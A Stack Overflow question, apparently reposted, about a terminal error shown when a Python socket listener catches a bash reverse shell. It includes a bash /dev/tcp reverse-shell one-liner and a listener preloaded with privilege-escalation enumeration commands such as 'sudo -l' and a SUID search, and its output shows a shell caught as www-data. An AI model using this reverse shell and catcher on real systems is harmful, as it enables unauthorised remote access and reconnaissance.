'Python Socket Listener error with connecting to bash reverse shell - `bash: cannot set terminal process group (1057): Inappropriate ioctl for device`

Python Socket Listener error with connecting to bash reverse shell - bash: cannot set terminal process group (1057): Inappropriate ioctl for device

I am working on a python socket listener. It listens for an incoming bash (or sh) connection. When it connects I have been getting this error: bash: cannot set terminal process group (1057): Inappropriate ioctl for device It still works, I just want the connection to be as stable as possible and haven't found much online regarding this error or using python as a listener for reverse shell connections beyond basic examples. Below is my basic code that listens for the connection and returns any connection string/error.

If you want to try it, start the listener in one terminal window and then open another terminal window and connect from your local box using: bash -c "bash -i >& /dev/tcp/127.0.0.1/1337 0>&1"

import socket
import sys
from time import sleep
import logging
from termcolor import colored


class BIG_BRAIN:
    def __init__(self, ip, port):
        self.big_brain = {
            "echo hello": "",
            "whoami": "",
            "id": "",
            "uname -a": "",
            "pwd": "",
            "find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null": "",
            "cd /home": "",
            "sudo -l": ""
        }

        # ---> Setup Logging
        self.l = logging.getLogger(__name__)
        handler = logging.FileHandler('big_brain.log')
        formatter = logging.Formatter(
            '%(asctime)s - %(levelname)s - %(message)s')
        handler.setFormatter(formatter)
        self.l.addHandler(handler)
        self.l.setLevel(logging.INFO)
        self.l.info("---->> BIG BRAIN >>------------>\n")

        # ---> Other VARs
        self.ip = ip
        self.port = port
        self.ans = ''
        self.s_time = 2
        self.s = ''
        self.conn = ''
        self.addr = ''
        self.bot_working = True

    def server(self):
        # --> Start up Listener/Server
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.s.bind((self.ip, self.port))
        self.s.listen(5)
        print(colored(f'[+] Listening on port {str(self.port)}'))
        self.conn, self.addr = self.s.accept()
        print(colored(f'[+] Connection received from {self.addr}'))

    def bot(self):
        for key in self.big_brain:
            self.l.info(
                f'Checking key {key} it contains: {self.big_brain[key]}')
        if key == "echo hello":
            if self.big_brain[key] != "hello":
                return "echo hello", True, 2
        elif self.big_brain[key] == '' or self.big_brain[key] == "hello":
            if "find" in key and self.big_brain[key] == '':
                return key, True, 30
            return key, True, 2
        sleep(30)
        return "echo COMPLETED", False, 2

    def listen(self):
        self.server()

        while self.bot_working:
            # Receive data from the target and get user input
            self.ans = self.conn.recv(1048576).decode('utf-8')
            sys.stdout.write(self.ans)

            sleep(self.s_time)
            self.l.info("Looping....")


bot = BIG_BRAIN("0.0.0.0", 1337)
bot.listen()

The output:

└─$ python3 ~/repos/ktron/ktron_bb_0-3.py
[+] Listening on port 1337
[+] Connection received from ('10.10.162.192', 53092)
bash: cannot set terminal process group (1057): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/secret$


Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source